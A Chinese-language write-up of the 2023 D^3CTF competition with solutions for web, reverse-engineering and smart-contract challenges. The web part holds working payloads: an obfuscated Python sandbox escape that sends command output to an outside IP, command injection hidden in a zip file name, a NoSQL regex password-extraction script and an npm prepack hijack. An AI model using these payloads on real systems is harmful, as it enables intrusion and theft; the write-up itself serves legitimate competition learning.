2023 D^3CTF writeup by 万年三等奖

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2023 D^3CTF writeup by 万年三等奖

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由于预备队W4ntY0u成员也对本次比赛有高度兴趣,故安排其与主队一起以“万年三等奖”作为队名参加了AntCTF x D^3CTF,一方面是为了避免两队都有可能获奖的情况下占用了其他师傅们的获奖名额,另一方面也方便发现团队整体的薄弱之处,果然又在它酿的密码上!!!来点密码✌带带孩子们吧!!!

题目附件下载地址请后台回复:d3ctf2023

2023 D^3CTF writeup by 万年三等奖

WEB

Escape Plan:

https://cn-sec.com/archives/1322842.html

调试 payload

2023 D^3CTF writeup by 万年三等奖
import requests, base64u = '??????????'payload = b"""__import__('os').popen("python -c 'import socket, os; flag = os.popen(\"/readflag\").read().encode();host = \"43.143.195.203\";port=1337;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;'").read()"""payload = str(base64.b64encode(payload)).strip('b').strip("'") +"="print(payload)CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))".format(payload)CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})r = requests.post("http://106.14.124.130:31405/", data={"cmd": base64.b64encode(CMD.encode())}).textprint(r)

2023 D^3CTF writeup by 万年三等奖

d3cloud:admin/admin 登录后台

插件发现 FilesystemAdapter.php,跟官方文件进行比对多了以下代码

2023 D^3CTF writeup by 万年三等奖
public function putFileAs($path, $file, $name, $options = []){ $supported_file = array('gif','jpg','jpeg','png','ico','zip','mp4','mp3','mkv','avi','txt'); $file_type= strtolower(pathinfo($name,PATHINFO_EXTENSION)); if (!in_array($file_type, $supported_file)) { return false; } $stream = fopen($file->getRealPath(), 'r+'); $result = $this->put( $path = trim($path.'/'.$name, '/'), $stream, $options ); if (is_resource($stream)) { fclose($stream); } if($file->getClientOriginalExtension() === "zip") { $fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w"); pclose($fs); } return $result ? $path : false; }
后缀不可控,上传 zip 文件自动解压,可操作的地方有两处:1.zip-slip 2.unzip 处命令注入,调试后发现 unzip 的命令如下
2023 D^3CTF writeup by 万年三等奖
unzip -oq /WWW/d3cloud/storage/app/1.zip -d /WWW/d3cloud/storage/app/

修改文件名来命令注入如下

2023 D^3CTF writeup by 万年三等奖
1;echo Y2F0IC9mbDFBZyA+IC92YXIvd3d3L2h0bWwvcHVibGljL2ZsYWcudHh0|base64 -d|bash;.zip

2023 D^3CTF writeup by 万年三等奖

d3node:nosql 注出密码

2023 D^3CTF writeup by 万年三等奖
import requestsimport stringpassword=""url = 'http://106.14.124.130:30407/user/LoginIndex'while True: for c in string.printable[:-6]: if c not in ['*', '+', '.', '?', '|', '#', '&', '$']: payload = { "username": "admin", "password[$regex]": '^' + password + c } r = requests.post(url=url, data=payload,allow_redirects=False) if r.status_code==302: password += c print(password)

根据 hint2 可以尝试任意文件读,绕过 app 黑名单

2023 D^3CTF writeup by 万年三等奖
http://106.14.124.130:31597/dashboardIndex/ShowExampleFile?filename[href]=a&filename[origin]=1&filename[protocol]=file:&filename[hostname]=&filename[pathname]=./%2561pp.js

PackDependencies 执行 npm pack,

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

SetDependencies 可以控制./public/package.json

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

修 改 package.json 添 加 prepack 命 令 执 行 :http://106.14.124.130:31597/dashboardIndex/SetDependencies

2023 D^3CTF writeup by 万年三等奖
{ "name": "y0ng-test", "version": "1.0.0", "description": "Example app for the Node.js Getting Started guide.", "author": "anonymous", "scripts":{ "prepack":"ls > /tmp/y0" }, "license": "MIT"}

2023 D^3CTF writeup by 万年三等奖

访问 /dashboardIndex/PackDependencies 执行 npm pack,再读一手 flag
2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

REVERSE

d3sky:tls 存在反调试

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

分析汇编,存在除零异常。

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

可以通过 attach 绕过,边调试边记录程序对输入的处理。

2023 D^3CTF writeup by 万年三等奖
s = "abcdefghijklmnopqrstuvwxyz0123456789~"s_arr = [ord(c) for c in s]# print(hex((~(s_arr[0] & s_arr[0])) & 0xffff)) # 0xff9e# print(hex((~(s_arr[1] & 0xff9e)) & 0xffff)) # 0xfffd# print(hex((~(s_arr[1] & s_arr[1])) & 0xffff)) # 0xff9d# print(hex((~(s_arr[0] & 0xff9d)) & 0xffff)) # 0xfffe# print(hex((~(0xfffd & 0xfffe)) & 0xffff)) # 0x3# print(hex((~(s_arr[2] & s_arr[2])) & 0xffff)) # 0xff9c# print(hex((~(s_arr[3] & 0xff9c)) & 0xffff)) # 0xfffb# print(hex((~(s_arr[3] & s_arr[3])) & 0xffff)) # 0xff9b# print(hex((~(s_arr[2] & 0xff9b)) & 0xffff)) # 0xfffc# print(hex((~(0xfffb & 0xfffc)) & 0xffff)) # 0x7# print(hex((~(0x3 & 0x3)) & 0xffff)) # 0xfffc# print(hex((~(0x7 & 0xfffc)) & 0xffff)) # 0xfffb# print(hex((~(0x7 & 0x7)) & 0xffff)) # 0xfff8# print(hex((~(0x3 & 0xfff8)) & 0xffff)) # 0xffff# print(hex((~(0xfffb & 0xffff)) & 0xffff)) # 0x4enc = [0x24, 0x0B, 0x6D, 0x0F, 0x03, 0x32, 0x42, 0x1D, 0x2B, 0x43, 0x78, 0x43, 0x73, 0x30, 0x2B, 0x4E, 0x63, 0x48, 0x77, 0x2E, 0x32, 0x39, 0x1A, 0x12, 0x71, 0x7A, 0x42, 0x17, 0x45, 0x72, 0x56, 0x0C, 0x5C, 0x4A, 0x62, 0x53, 0x33]# print(hex((~(enc[0] & enc[0])) & 0xffff)) # 0xffdb# print(hex((~(0x4 & 0xffdb)) & 0xffff)) # 0xffff# print(hex((~(0x4 & 0x4)) & 0xffff)) # 0xfffb# print(hex((~(enc[0] & 0xfffb)) & 0xffff)) # 0xffdf# print(hex((~(0xffff & 0xffdf)) & 0xffff)) # 0x20

实际效果为:

2023 D^3CTF writeup by 万年三等奖
input[0]^input[1]^input[2]^input[3]==enc[0]input[1]^input[2]^input[3]^input[4]==enc[1]...input[36]^input[0]^input[1]^input[2]==enc[36]

将第一行和最后一行左右两边异或,得到:

2023 D^3CTF writeup by 万年三等奖
input[36]^input[3]==enc[36]^enc[0]
而 input[36]为已知的 0x7E,于是便可得到 input[3],其他 input 依此类推,脚本如下:
2023 D^3CTF writeup by 万年三等奖
enc = [0x24, 0x0B, 0x6D, 0x0F, 0x03, 0x32, 0x42, 0x1D, 0x2B, 0x43, 0x78, 0x43, 0x73, 0x30, 0x2B, 0x4E, 0x63, 0x48, 0x77, 0x2E, 0x32, 0x39, 0x1A, 0x12, 0x71, 0x7A, 0x42, 0x17, 0x45, 0x72, 0x56, 0x0C, 0x5C, 0x4A, 0x62, 0x53, 0x33]flag = [0] * len(enc)flag[len(flag)-1] = 0x7Eidx = len(flag)-1while b"x00" in bytes(flag): next_idx = (idx+4) % len(flag) flag[next_idx] = flag[idx] ^ enc[idx] ^ enc[(next_idx-3) % 37] idx = next_idxprint(b"antd3ctf{"+bytes(flag)+b"}")# antd3ctf{A_Sin91e_InS7rUcti0N_ViRTua1_M4chin3~}

d3Tetris:

2023 D^3CTF writeup by 万年三等奖
pcap|http+pb1: 12: "246b.b367z303\k365tDm212366262244204D360367216241320335t306b'bt351"3: "3d354e98963a69b2"4: 605: 16809369627306: 2
Java_com_jetgame_tetris_logic_GameViewModel_oO0OooOo0oO字符串都加密了,纯静态分析可以写个 unicorn 脚本提取

2023 D^3CTF writeup by 万年三等奖
aes_init((__int64)aes_ctx, 2u); v148 = (uint8_t *)_emutls_get_address((__int64)&unk_4A140); // addr: 0004A140 // 00000000: 41 20 53 49 4D 50 4C 45 20 4B 45 59 21 21 21 21 A SIMPLE KEY!!!! // 00000010: 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 !!!!!!!!!!!!!!!! // 00000020: 54 00 T. // data: b'A SIMPLE KEY!!!!!!!!!!!!!!!!!!!!Tx00'  v149 = (char *)aes((unsigned int *)aes_ctx, s, 0x30u, v148, (__int64)iv); nullsub_1(&rc4_ctx); // addr: 0004A500 // 00000000: 53 4B 4A 3C 48 41 4E 49 4F 53 48 44 4C 4A 4B 61 SKJ<HANIOSHDLJKa // 00000010: 00 . // data: b'SKJ<HANIOSHDLJKax00'  if... v150 = (char *)_emutls_get_address((__int64)&unk_4A500); sub_173B8((__int64)v150); // SKJ<HANIOSHDLJKa v151 = __strlen_chk(v150, 18u); rc4_init(&rc4_ctx, v150, v151); v152 = (jbyte *)malloc(0x21u); rc4_crypto(&rc4_ctx, v149, v152, 0x20); v153 = (*a1)->NewByteArray(a1, 0x20LL); (*a1)->SetByteArrayRegion(a1, v153, 0LL, 0x20LL, v152);

aes256+rc4

2023 D^3CTF writeup by 万年三等奖
# 求逆 sboxsbox = [ 0x90, 0x7A, 0x50, 0xEF, 0xF0, 0x9C, 0x2F, 0x7D, 0xA0, 0x34, 0x23, 0xCA, 0x4F, 0x21, 0x66, 0x6B, 0x3D, 0xE0, 0xC2, 0xB3, 0xFC, 0x69, 0x08, 0xFF, 0x7F, 0x16, 0x48, 0xD5, 0xEB, 0x59, 0xD8, 0x0C, 0xF3, 0xE4, 0xA8, 0xEA, 0xB9, 0x81, 0x01, 0x28, 0x13, 0xB8, 0x6C, 0xCB, 0xDC, 0x8A, 0x27, 0x19, 0xD2, 0xA4, 0xD3, 0x99, 0x49, 0x57, 0x87, 0xDF, 0x2D, 0x4A, 0xC1, 0x58, 0xB4, 0x68, 0xDE, 0xC7, 0x94, 0x7B, 0xAA, 0xE2, 0x8C, 0x53, 0xAD, 0x1E, 0x04, 0xC5, 0x18, 0x00, 0xED, 0xF1, 0x79, 0x43, 0x51, 0xB0, 0x84, 0x5A, 0xEE, 0x97, 0x88, 0x26, 0xB6, 0x73, 0x9D, 0x5B, 0xFE, 0xE5, 0x54, 0xF4, 0xB1, 0x06, 0x3F, 0xBC, 0x31, 0x60, 0xA1, 0x85, 0xC9, 0xF8, 0xC6, 0xE7, 0xAE, 0xC3, 0x82, 0x9F, 0xFB, 0xCE, 0xFD, 0x32, 0x8D, 0x2E, 0x41, 0xBF, 0x37, 0xB7, 0xEC, 0x77, 0x02, 0x80, 0x3B, 0x76, 0x92, 0x14, 0xD0, 0x4C, 0x38, 0x89, 0x1C, 0x46, 0x2B, 0x0B, 0xC4, 0x72, 0x0E, 0xCD, 0x62, 0x10, 0x6F, 0x09, 0x8F, 0x7C, 0xD4, 0xD7, 0x6D, 0xF7, 0x9B, 0xAC, 0x20, 0x12, 0x64, 0xDD, 0xCC, 0xFA, 0x70, 0xF9, 0x35, 0x1D, 0x9A, 0x52, 0xF5, 0x0D, 0xAF, 0xBA, 0xA6, 0x30, 0x29, 0x8B, 0x7E, 0xC0, 0x83, 0x95, 0x61, 0x44, 0xA3, 0x22, 0x75, 0x5E, 0xA7, 0x55, 0x2A, 0x91, 0xF2, 0x42, 0xA2, 0x56, 0xB5, 0x5F, 0xDB, 0x36, 0x47, 0xBE, 0x86, 0xA5, 0x40, 0x15, 0x5D, 0x8E, 0xBD, 0xC8, 0x1A, 0xD1, 0x3C, 0x07, 0x11, 0x33, 0xBB, 0x6E, 0x9E, 0x96, 0x3A, 0xDA, 0x39, 0x5C, 0x2C, 0x1F, 0x17, 0xE6, 0x25, 0x6A, 0x0A, 0x3E, 0x93, 0xE9, 0x74, 0x65, 0xAB, 0x4D, 0xCF, 0xE8, 0x78, 0x0F, 0xB2, 0xE1, 0xF6, 0x71, 0x03, 0xA9, 0x1B, 0xD6, 0x63, 0x4E, 0xD9, 0x24, 0x98, 0x67, 0x45, 0x05, 0xE3, 0x4B]rsbox = [0]*0x100for i in range(0x100): rsbox[i] = sbox.index(i)print(rsbox)
from Crypto.Cipher.ARC4 import ARC4Ciphercipher = ARC4Cipher(b'SKJ<HANIOSHDLJKa')aesct = cipher.decrypt(bytes.fromhex('a6622e62f77ac35c6bf574446d8af6b2a48444f0f78ea1d0dd09c662270874e9'))print(aesct.hex()) # 43a7e60d237e472964b3b98e08f76cce938078a61bc23b32653865e3af2dfff9

轮秘钥加 inline 了

2023 D^3CTF writeup by 万年三等奖
static const uint8_t rsbox[256] = { 75, 38, 124, 242, 72, 253, 97, 209, 22, 145, 226, 137, 31, 167, 140, 237, 143, 210, 155, 40, 129, 201, 25, 222, 74, 47, 206, 244, 134, 163, 71, 221, 154, 13, 181, 10, 249, 224, 87, 46, 39, 172, 186, 136, 220, 56, 117, 6, 171, 100, 115, 211, 9, 162, 195, 120, 132, 218, 216, 126, 208, 16, 227, 98, 200, 118, 189, 79, 179, 252, 135, 196, 26, 52, 57, 255, 131, 233, 247, 12, 2, 80, 165, 69, 94, 185, 191, 53, 59, 29, 83, 91, 219, 202, 183, 193, 101, 178, 142, 246, 156, 231, 14, 251, 61, 21, 225, 15, 42, 150, 213, 144, 160, 241, 139, 89, 230, 182, 127, 123, 236, 78, 1, 65, 147, 7, 174, 24, 125, 37, 110, 176, 82, 103, 198, 54, 86, 133, 45, 173, 68, 116, 203, 146, 0, 187, 128, 228, 64, 177, 215, 85, 250, 51, 164, 152, 5, 90, 214, 111, 8, 102, 190, 180, 49, 199, 170, 184, 34, 243, 66, 232, 153, 70, 108, 168, 81, 96, 238, 19, 60, 192, 88, 121, 41, 36, 169, 212, 99, 204, 197, 119, 175, 58, 18, 109, 138, 73, 106, 63, 205, 104, 11, 43, 158, 141, 113, 234, 130, 207, 48, 50, 148, 27, 245, 149, 30, 248, 217, 194, 44, 157, 62, 55, 17, 239, 67, 254, 33, 93, 223, 107, 235, 229, 35, 28, 122, 76, 84, 3, 4, 77, 188, 32, 95, 166, 240, 151, 105, 161, 159, 112, 20, 114, 92, 23};static void Cipher(state_t *state, const uint8_t *RoundKey) { uint8_t round = 0; // Add the First round key to the state before starting the rounds. AddRoundKey(0, state, RoundKey); // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without MixColumns() for (round = 1;; ++round) { SubBytes(state); // ShiftRows(state); if (round == Nr) { break; } MixColumns(state); // 魔改+ShiftRows ShiftRows(state); AddRoundKey(round, state, RoundKey); } // 魔改+ShiftRows ShiftRows(state); // Add round key to last round AddRoundKey(Nr, state, RoundKey);}static void InvCipher(state_t *state, const uint8_t *RoundKey) { uint8_t round = 0; // Add the First round key to the state before starting the rounds. AddRoundKey(Nr, state, RoundKey); InvShiftRows(state); // 魔改+ // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without InvMixColumn() for (round = (Nr - 1);; --round) { // InvShiftRows(state); // 魔改- InvSubBytes(state); AddRoundKey(round, state, RoundKey); if (round != 0) { InvShiftRows(state); // 魔改+ } if (round == 0) { break; } InvMixColumns(state); }}unsigned char hexData[32] = {0x43, 0xA7, 0xE6, 0x0D, 0x23, 0x7E, 0x47, 0x29, 0x64, 0xB3, 0xB9, 0x8E, 0x08, 0xF7, 0x6C, 0xCE, 0x93, 0x80, 0x78, 0xA6, 0x1B, 0xC2, 0x3B, 0x32, 0x65, 0x38, 0x65, 0xE3, 0xAF, 0x2D, 0xFF, 0xF9};int main() { struct AES_ctx ctx; // AES_init_ctx_iv(&ctx, (const uint8_t *)"A SIMPLE KEY!!!!!!!!!!!!!!!!!!!!T", // (const uint8_t *)"3d354e98963a69b2"); // AES_CBC_encrypt_buffer(&ctx, hexData, 32); AES_init_ctx_iv(&ctx, (const uint8_t *)"A SIMPLE KEY!!!!!!!!!!!!!!!!!!!!T", (const uint8_t *)"3d354e98963a69b2"); AES_CBC_decrypt_buffer(&ctx, hexData, 32); DumpHex(hexData, 32); printf("%sn", hexData); return 0;}// dd4ee7c9-031c-4073-bba5-a3efa8fe+????

解出来的bootld少了四个字符:

2023 D^3CTF writeup by 万年三等奖
【管理员】d3Tetris-0wl 2023/4/29 8:33:44d3Tetris 解出的 flag 最后请加上 "65bd" 提交,附件之后会更新
d3Hell:对 dll dump 发现其主要的逻辑是替换主程序的一些常量(flag, re_table)和反调试

2023 D^3CTF writeup by 万年三等奖
a1 = 32; v5 = (uint8_t *)0x401F13; // sleep(200)的位置 for ( i = 0; i <= 13; ++i ) { if ( v5[i] != code[i] ) { v9 = 1; break; } } if ( !IsDebuggerPresent() && !v9 ) { a2[0] = 0xA532267E; a2[1] = 0x8EFB0F27; v3[0] = 0x3C5F791A; v3[1] = 0x1A38CC77; for ( i = 0; i <= 39; ++i ) re_table[i] = 0; }

不去修改 sleep 那边的代码就行了

2023 D^3CTF writeup by 万年三等奖
// 质因数个数 stru_4099F0.m128i_i64[0] = 0i64; stru_4099F0.m128i_i64[1] = 0i64; a1 = BN; a2 = 120ui64; // 分解质因数 factor(&a1, (__m128i *)&a2); // yafu-x64.exe factor(698740305822331500978964939673142241) // P18 = 768614336404564651 // P18 = 909090909090909091 v4 = stru_4099F0.m128i_i64[1]; a1.m128i_i64[0] = stru_4099F0.m128i_i64[0]; a1.m128i_i64[1] = v4; // 排序质因数 从小到大 sorted(xmmword_409AA0, &xmmword_409AA0[stru_4099F0.m128i_i64[0]], &a1); stru_409A00[0].m128i_i64[0] = 1i64; stru_409A00[0].m128i_i64[1] = 0i64; v15 = (__m128i)1ui64; // // 应该是去重 for ( i = 1ui64; i < (__int128)__PAIR128__(stru_4099F0.m128i_i64[1], stru_4099F0.m128i_u64[0]); i += 1ui64 ) { if ( *(_OWORD *)&xmmword_409AA0[i] == *(_OWORD *)&xmmword_409AA0[i - 1] ) { stru_409A00[v15.m128i_i64[0] - 1] = (__m128i)(*(_OWORD *)&stru_409A00[v15.m128i_i64[0] - 1] + 1i64); } else { v5 = &stru_409A00[v15.m128i_i64[0]]; v5->m128i_i64[0] = 1i64; v5->m128i_i64[1] = 0i64; *(__m128i *)&v6 = v15; *(_OWORD *)&v15 += 1ui64; v7 = &xmmword_409AA0[i]; v8 = v7->m128i_i64[1]; v6 = &xmmword_409AA0[(_QWORD)v6]; v6->m128i_i64[0] = v7->m128i_i64[0]; v6->m128i_i64[1] = v8; } } xmmword_4099A0 = v15; for ( i = 0ui64; i < (__int128)__PAIR128__(xmmword_4099A0.m128i_i64[1], xmmword_4099A0.m128i_u64[0]); i += 1ui64 ) { v9 = &xmmword_409AA0[i]; v10 = v9->m128i_i64[1]; a1.m128i_i64[0] = v9->m128i_i64[0]; a1.m128i_i64[1] = v10; BN_2_str(&a1); } for ( i = 0ui64; i <= 39; i += 1ui64 ) g_real_flag[i] ^= g_re_talbe[i]; // antd3ctf{768614336404564651909090909090909091} printf("antd3ctf{%s}n", g_real_flag);
算法故意写的效率很慢,较大的数值跑不出来,尝试降低输入数值的数量级,比如把输入改成 240 让程序可以正常执行,然后观察输入输出,就可以推测出各个函数大致的作用了。
2023 D^3CTF writeup by 万年三等奖
d3rc4:init_array 修改 rc4 密钥,并且更正 wrong 和 right 字符串

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

main 函数进行一次 rc4 加密,不过得到的是假 flag。

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

fini_array 还存在对输入的处理。

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

调试,修改标志位,使得程序自行完成 rc4 加密的初始化,取出 xor_box 的数据最后写逆向脚本即可得到 flag

2023 D^3CTF writeup by 万年三等奖
s = "abcdefghijklmnopqrstuvwxyz0123456789"s_arr = [ord(c) for c in s]s_enc = [0xD9, 0xE4, 0x27, 0x07, 0xD0, 0xBE, 0x7B, 0xFD, 0xB8, 0x14, 0x1B, 0x32, 0xD1, 0x38, 0x0C, 0x44, 0x59, 0xE2, 0x66, 0x8C, 0x38, 0x24, 0xEA, 0x66, 0x8C, 0x65, 0xF8, 0x55, 0x60, 0x28, 0x50, 0x3A, 0x12, 0xA4, 0x78, 0x64]xor_box_1 = []for i in range(len(s_arr)): xor_box_1.append(s_arr[i] ^ s_enc[i])xor_box_2 = [0x35, 0x4B, 0xA0, 0x60, 0x08, 0x50, 0xA5, 0xF1, 0x33, 0x97, 0xB2, 0x13, 0xCB, 0x4C, 0x0D, 0xCF, 0xA3, 0x7C, 0x57, 0x53, 0xE2, 0xA9, 0x65, 0x4E, 0x0E, 0xC7, 0x7A, 0x0F, 0xFD, 0xB5, 0x9E, 0xB4, 0x33, 0xF9, 0x61, 0xD3]enc = [0xF7, 0x5F, 0xE7, 0xB0, 0x9A, 0xB4, 0xE0, 0xE7, 0x9E, 0x05, 0xFE, 0xD8, 0x35, 0x5C, 0x72, 0xE0, 0x86, 0xDE, 0x73, 0x9F, 0x9A, 0xF6, 0x0D, 0xDC, 0xC8, 0x4F, 0xC2, 0xA4, 0x7A, 0xB5, 0xE3, 0xCD, 0x60, 0x9D, 0x04, 0x1F]for i in range(0, len(enc), 2): enc[i+1] ^= xor_box_2[i+1] enc[i+1] = enc[i]-enc[i+1] enc[i+1] %= 0x100 enc[i] ^= xor_box_2[i] enc[i] = enc[i]-enc[i+1] enc[i] %= 0x100for i in range(len(enc)): enc[i] ^= xor_box_1[i]print(b"antd3ctf{"+bytes(enc)+b"}")# antd3ctf{getting_primes_with_pipes_is_awesome}
d3syscall:通过系统调用实现的 VM

2023 D^3CTF writeup by 万年三等奖
from claripy import *from libnum import n2stmp_buf = [BVS(b'enc_tmp', 8) for i in range(36)]flag = tmp_buf[:]enc_flag = [0]*6enc_flag[0] = 0xB0800699CB89CC89enc_flag[1] = 0x4764FD523FA00B19enc_flag[2] = 0x396A7E6DF099D700enc_flag[3] = 0xB115D56BCDEAF50Aenc_flag[4] = 0x2521513C985791F4enc_flag[5] = 0x0B03C06AF93AD0BEtmp_regs = [BVV(0, 64) for i in range(4)]tmp_stack = [BVV(0, 64) for i in range(40)]flag = [BVS(f'flag{i}', 64) for i in range(6)]sp = 0def FN_335_set_reg(a1=0, dst=0, src=0): if a1 == 1: tmp_regs[dst] = src elif a1 == 0: tmp_regs[dst] = tmp_regs[src]def FN_336_alu(fun_id=0, dst=0, src=0): match fun_id: case 0: tmp_regs[dst] += tmp_regs[src] case 1: tmp_regs[dst] -= tmp_regs[src] case 2: tmp_regs[dst] *= tmp_regs[src] case 3: tmp_regs[dst] ^= tmp_regs[src] case 4: tmp_regs[dst] <<= tmp_regs[src] case 4: tmp_regs[dst] = tmp_regs[dst].LShR(tmp_regs[src])def FN_337_push(a1=0, src=0): global sp sp += 1 dst = sp if a1 == 1: tmp_stack[dst] = src elif a1 == 0: tmp_stack[dst] = tmp_regs[src]def FN_338_pop(dst=0): global sp sp = sp value = tmp_stack[sp] sp = sp-1 tmp_regs[dst] = valuedef FN_339_clear_regs(): tmp_regs[0] = 0 tmp_regs[1] = 0 tmp_regs[2] = 0 tmp_regs[3] = 0def x_syscall(sysno, a1=0, a2=0, a3=0, a4=0): match sysno: case 335: FN_335_set_reg(a1, a2, a3) case 336: FN_336_alu(a1, a2, a3) case 337: FN_337_push(a1, a2) case 338: FN_338_pop(a1) case 339: FN_339_clear_regs() case _: print(sysno)def chal_13F5(part1, part2): x_syscall(335, 1, 0, part1) x_syscall(335, 1, 1, part2) x_syscall(337, 0, 1) x_syscall(335, 0, 2, 0) x_syscall(335, 1, 1, 3) x_syscall(336, 4, 2, 1) x_syscall(335, 1, 1, 0x51E7647E) x_syscall(336, 0, 2, 1) x_syscall(335, 0, 3, 0) x_syscall(335, 1, 1, 3) x_syscall(336, 2, 3, 1) x_syscall(335, 1, 1, 0xE0B4140A) x_syscall(336, 0, 3, 1) x_syscall(336, 3, 2, 3) x_syscall(335, 0, 3, 0) x_syscall(335, 1, 1, 0xE6978F27) x_syscall(336, 0, 3, 1) x_syscall(336, 3, 2, 3) x_syscall(338, 1) x_syscall(336, 0, 1, 2) x_syscall(337, 0, 1) x_syscall(337, 0, 0) x_syscall(335, 0, 2, 1) x_syscall(335, 1, 0, 6) x_syscall(336, 4, 2, 0) x_syscall(335, 1, 0, 0x53A35337) x_syscall(336, 0, 2, 0) x_syscall(335, 0, 3, 1) x_syscall(335, 1, 0, 5) x_syscall(336, 2, 3, 0) x_syscall(335, 1, 0, 0x9840294D) x_syscall(336, 0, 3, 0) x_syscall(336, 3, 2, 3) x_syscall(335, 0, 3, 1) x_syscall(335, 1, 0, 0x5EAE4751) x_syscall(336, 1, 3, 0) x_syscall(336, 3, 2, 3) x_syscall(338, 0) x_syscall(336, 0, 0, 2) x_syscall(337, 0, 0) x_syscall(339, 0)chal_13F5(flag[0], flag[1])chal_13F5(flag[2], flag[3])chal_13F5(flag[4], flag[5])solver = Solver()for i in range(6): solver.add(enc_flag[i] == tmp_stack[i+1])_flag = b''for x in solver.batch_eval(flag, 2): for i in x: _flag += (n2s(i)[::-1]) print(_flag)# d3ctf{cef9b994-2547-4844-ac0d-a097b75806a0}
d3recover:题目提供了带符号的版本,可以直接用`bindiff`恢复 ver1 的符号

2023 D^3CTF writeup by 万年三等奖
for ( i = 0LL; i <= 31; ++i ) { Item = _Pyx_PyInt_From_long(i); if... v23 = v10; v10 = Item; Py_XDECREF(v23); Item = _Pyx_PyObject_GetItem(a2, Item); if... if ( (unsigned int)PyType_HasFeature(*(_QWORD *)(Item + 8), 0x10000000LL) ) v2 = (unsigned int)sub_5A374B(Item); else v2 = sub_5A3D44(Item); v24 = v2; if... Py_DECREF(Item); Item = 0LL; if ( (unsigned int)_Pyx_PyByteArray_Append(v9, v24 ^ 0x23u) == -1 ) { v18 = off_A7A208; v6 = 34; v7 = 2138; goto LABEL_60; } } for ( j = 0LL; j <= 29; ++j ) { Item = _Pyx_PyInt_From_long(j); if... v22 = v10; v10 = Item; Py_XDECREF(v22); Item = _Pyx_PyObject_GetItem(v9, Item); if... v16 = _Pyx_PyInt_AddObjC(v10, qword_ABC1E8, 2LL, 0LL, 0LL); if... v17 = _Pyx_PyObject_GetItem(v9, v16); if... Py_DECREF(v16); v16 = PyNumber_Add(Item, v17); if... Py_DECREF(Item); Item = 0LL; Py_DECREF(v17); v17 = _Pyx_PyInt_AndObjC(v16, qword_ABC220, 255LL, 0LL, 0LL); if... Py_DECREF(v16); v16 = _Pyx_PyInt_XorObjC(v17, qword_ABC218, 84LL, 0LL, 0LL); if... Py_DECREF(v17); v17 = 0LL; if ( (int)PyObject_SetItem(v9, v10, v16) < 0 ) { v18 = off_A7A208; v6 = 36; v7 = 2178; goto LABEL_60; } Py_DECREF(v16); v16 = 0LL; }
from claripy import *from Crypto.Cipher.ARC4 import ARC4Ciphertmp_buf = [BVS(b'enc_tmp', 8) for i in range(32)]flag = tmp_buf[:]enc_flag = bytes.fromhex( 'd3c7ceca3f84dbb3b6b980ead0cd72fcd83095dbe2d89208c1c6c5f407ec025e')for j in range(32): tmp_buf[j] ^= 0x23for j in range(30): tmp_buf[j] = ((tmp_buf[j] + tmp_buf[j+2]) & 0xFF) ^ 0x54solver = Solver()for i in range(32): solver.add(enc_flag[i] == tmp_buf[i]) # solver.add(flag[i] >= 32) # solver.add(flag[i] <= 127)for x in solver.batch_eval(flag, 50): b = bytes(x) print(b) print(b.hex())# b'flag{y0U_RE_Ma5t3r_0f_R3vocery!}'

MISC

d3casino:题目有以下要求:

2023 D^3CTF writeup by 万年三等奖
msg.sender 要是个 < 100 bytes 的合约要返回正确的 rand要使得 msg.senderaddresstx.originaddress 有相同的 00 byte

解决方法

2023 D^3CTF writeup by 万年三等奖
- assembly / opcode 直接写合约- rand 依赖 block.timestamp, block.difficulty, 在同一个 tx 中是不变的, 在攻击合约中同样可以计算- 用私钥凑 tx.origin 的地址 ([bokub/vanity-eth: Browser-based ETH vanity address generator (github.com)](https://github.com/bokub/vanity-eth)), 用 create2 凑攻击合约的地址, 凑前两位是 00 00, 总共重复攻击 5 次
相关脚本:攻击合约, 正常 solidity 编译

2023 D^3CTF writeup by 万年三等奖
contract Attack {address public exp;event Deployed(address x);function deploy(bytes memory bytecode, bytes32 salt) public returns (address addr) {assembly {addr := create2(0, add(bytecode, 32), mload(bytecode), salt)if iszero(extcodesize(addr)) { revert(0, 0) }}emit Deployed(addr);return addr;}function deploy_exp(bytes32 salt, address casino_addr) public {bytes memory exp_code_pre = hex"6059600d60003960596000f3fe600036111560385773";bytes memory exp_code_post = hex"60006311610c2581526020816004601c84016000865af1600080f35b42600052306034524460205260546000206011810690508060005260206000f3";bytes memory exp_code = abi.encodePacked(exp_code_pre, bytes20(casino_addr), exp_code_post);exp = deploy(exp_code, salt);casino = D3Casino(casino_addr);}function attack() public {(bool success,) = exp.call("0x");}}
用来调用 bet 的 合 约 , 用 solc –assemble –bin xxx.yul 编 译 , rand 计 算 需 注 意encodePacked 的排布
2023 D^3CTF writeup by 万年三等奖
